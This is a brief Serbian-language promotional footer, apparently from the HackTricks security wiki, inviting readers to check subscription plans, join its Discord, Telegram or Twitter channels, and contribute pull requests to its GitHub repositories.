- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.